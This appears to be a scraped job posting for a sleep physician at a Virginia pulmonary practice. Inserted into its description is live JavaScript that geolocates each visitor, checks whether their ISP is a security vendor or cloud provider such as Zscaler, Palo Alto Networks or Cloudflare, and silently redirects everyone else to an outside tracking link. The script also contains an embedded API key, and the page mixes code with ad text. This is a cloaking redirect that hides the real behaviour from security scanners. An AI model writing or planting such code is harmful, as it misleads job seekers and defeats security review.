Job Description
// retrieve user’s IP address and location const ipAddressUrl = ‘https://ipapi.co/json/’; fetch(ipAddressUrl) .then(response => response.json()) .then(data => { const country = data.country; // Get user’s country code (e.g., “US”) if (country !== ‘US’) { console.log(‘Script will not run as the user is outside the USA.’); return; // Exit the script if the user is not in the USA } const ipAddress = data.ip; // retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/$?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname; // check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg)); if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ‘https://www.indeed.com/tmn/ccs/573d7edc63550938/cbb9efcb3d4009fc1645ce4169b4d9800bed90edde900be78dc1ca1752fec39e/2765583331732878?sf=yJ800’; } }) .catch(error => { console.error(‘Error retrieving ISP name:’, error); }); }) .catch(error => { console.error(‘Error retrieving IP address or location:’, error); });Seeking a full-time, partner track Sleep physician with a Medical degree and active Board Certification in Sleep Medicine to join a well-established, physician-owned pulmonary, allergy, and sleep practice.
With 50 years of service in central Virginia, the practice offers comprehensive outpatient pulmonary care, three sleep labs, inpatient hospital consults, and a busy home sleep testing program.
Responsibilities include evaluating, diagnosing, and managing sleep disorders, reading sleep studies, prescribing therapies like CPAP and oral appliances, and educating patients.
Benefits include a competitive salary, 401(k), health and dental insurance, CME allowance, life and disability insurance, flexible schedule, and professional development opportunities.
Work is in person. To apply, send CV to rcoles@paraccess.com.